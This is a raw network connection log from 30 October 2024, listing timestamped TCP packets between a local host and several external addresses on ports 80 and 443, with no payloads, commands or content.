Oct 30, 2024 05:25:25.883119106 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883131027 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883136034 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883147001 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883171082 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883182049 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883364916 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883373976 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883399963 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883413076 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883433104 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883456945 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883469105 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883479118 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883503914 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883521080 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883546114 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883593082 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883599997 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883619070 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883630991 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883642912 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883642912 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883654118 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883665085 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883675098 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883706093 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883718014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883750916 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883755922 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883764982 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883788109 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883800983 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.883984089 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.883994102 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884006023 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884023905 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884037971 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884054899 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884071112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884097099 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884126902 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884140015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884159088 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884177923 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884180069 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884186983 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884196997 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884210110 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884217024 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884228945 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884259939 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884351015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884361029 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884372950 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884397030 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884417057 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884418964 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884430885 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884443045 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884459019 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884484053 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884623051 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884665966 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884696007 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884707928 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884718895 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884731054 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884735107 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884753942 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884759903 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884768009 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884771109 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884782076 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.884788990 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.884819031 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.926248074 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.926274061 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.926284075 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.926290989 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.926305056 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.926323891 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.928241968 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.928253889 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.928266048 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.928296089 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.928325891 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.931596041 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931607008 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931623936 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931637049 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931641102 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.931648970 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931649923 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.931659937 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931674004 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.931679010 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931689024 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931700945 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.931704044 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931711912 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931720018 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.931756973 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931759119 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.931759119 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.931766987 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931792021 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.931794882 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931802034 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.931804895 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.931840897 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.956183910 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.956195116 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.956204891 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.956242085 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.956274986 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.956279039 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.956289053 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.956317902 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.956321955 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.956326962 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.956336975 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.956346035 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.956367016 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.956396103 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.956413031 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.956425905 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.956430912 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.956440926 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.956449986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.956463099 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.956478119 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.000607014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.000619888 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.000638962 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.000652075 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.000664949 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.000669003 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.000674963 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.000694036 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.000715971 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.000788927 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.000806093 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.000818968 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.000828028 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.000829935 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.000839949 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.000859022 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.000860929 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.000869989 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.000873089 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.000897884 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.000909090 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.001252890 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001281023 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001296043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001300097 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.001312971 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.001317024 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001327991 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001343966 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.001365900 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001369953 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.001403093 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.001696110 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001739025 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.001753092 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001765013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001790047 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.001805067 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.001815081 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001837015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001847982 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.001848936 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001857042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001885891 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001887083 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.001898050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001910925 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.001936913 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.001971960 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.001981974 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002018929 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.002051115 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002060890 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002072096 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002087116 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.002091885 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002103090 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.002103090 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002115011 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002126932 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.002142906 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.002156019 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.002160072 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002171993 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002183914 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002197027 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.002206087 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.002219915 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002228022 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.002245903 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002254963 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.002257109 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002280951 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.002294064 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.002367020 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002377033 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002388000 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002398014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:26.002412081 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:26.002439976 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:27.024266005 CET	50002	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:27.024332047 CET	443	50002	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:27.024401903 CET	50002	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:27.024812937 CET	50002	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:27.024831057 CET	443	50002	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:27.623548031 CET	443	50002	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:27.623630047 CET	50002	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:27.656168938 CET	50002	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:27.656189919 CET	443	50002	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:27.656450987 CET	443	50002	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:27.658020020 CET	50002	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:27.658150911 CET	50002	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:27.658155918 CET	443	50002	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:28.349013090 CET	443	50002	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:28.349091053 CET	443	50002	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:28.349147081 CET	50002	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:28.351207018 CET	50002	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:28.351221085 CET	443	50002	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:28.670963049 CET	49996	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:28.671220064 CET	50003	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:28.677288055 CET	80	50003	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:28.677365065 CET	50003	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:28.677423000 CET	80	49996	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:28.677472115 CET	49996	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:28.705528021 CET	50003	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:28.711492062 CET	80	50003	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:29.115603924 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.115659952 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.115752935 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.116106987 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.116122007 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.178222895 CET	50005	80	192.168.2.6	185.215.113.206
Oct 30, 2024 05:25:29.285348892 CET	80	50005	185.215.113.206	192.168.2.6
Oct 30, 2024 05:25:29.285454988 CET	50005	80	192.168.2.6	185.215.113.206
Oct 30, 2024 05:25:29.288188934 CET	50005	80	192.168.2.6	185.215.113.206
Oct 30, 2024 05:25:29.293461084 CET	80	50005	185.215.113.206	192.168.2.6
Oct 30, 2024 05:25:29.586177111 CET	80	50003	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:29.589148045 CET	50003	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:29.610619068 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:29.610899925 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:29.616215944 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:29.616285086 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:29.616301060 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:29.616345882 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:29.616499901 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:29.621819019 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:29.917298079 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.917365074 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.918889999 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.918920040 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.919183969 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.920715094 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.921508074 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.921556950 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.921895027 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.921945095 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.923827887 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.923907042 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.924123049 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.924189091 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.924397945 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.924451113 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.924679041 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.924726963 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.924753904 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.924778938 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.924945116 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.924985886 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.925040960 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.925156116 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.925196886 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.935971022 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.936279058 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.936357975 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:29.936413050 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.936492920 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:29.940291882 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:30.191700935 CET	80	50005	185.215.113.206	192.168.2.6
Oct 30, 2024 05:25:30.193092108 CET	50005	80	192.168.2.6	185.215.113.206
Oct 30, 2024 05:25:30.198915958 CET	50005	80	192.168.2.6	185.215.113.206
Oct 30, 2024 05:25:30.204890013 CET	80	50005	185.215.113.206	192.168.2.6
Oct 30, 2024 05:25:30.483789921 CET	80	50005	185.215.113.206	192.168.2.6
Oct 30, 2024 05:25:30.483876944 CET	50005	80	192.168.2.6	185.215.113.206
Oct 30, 2024 05:25:30.514393091 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.514405012 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.514420033 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.514431000 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.514441967 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.514451981 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.514461994 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.514472008 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.514482021 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.514487028 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.514492035 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.514518976 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.514549971 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.520009041 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.520020962 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.520032883 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.520042896 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.520087004 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.520111084 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.667568922 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667587996 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667602062 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667613983 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667624950 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667634964 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667654037 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667659044 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.667666912 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667679071 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667692900 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667704105 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667711973 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.667716026 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667726994 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667738914 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.667740107 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.667759895 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.667783976 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.783365965 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.783379078 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.783390999 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.783431053 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.783442020 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.783468962 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.783478975 CET	80	50006	185.215.113.16	192.168.2.6
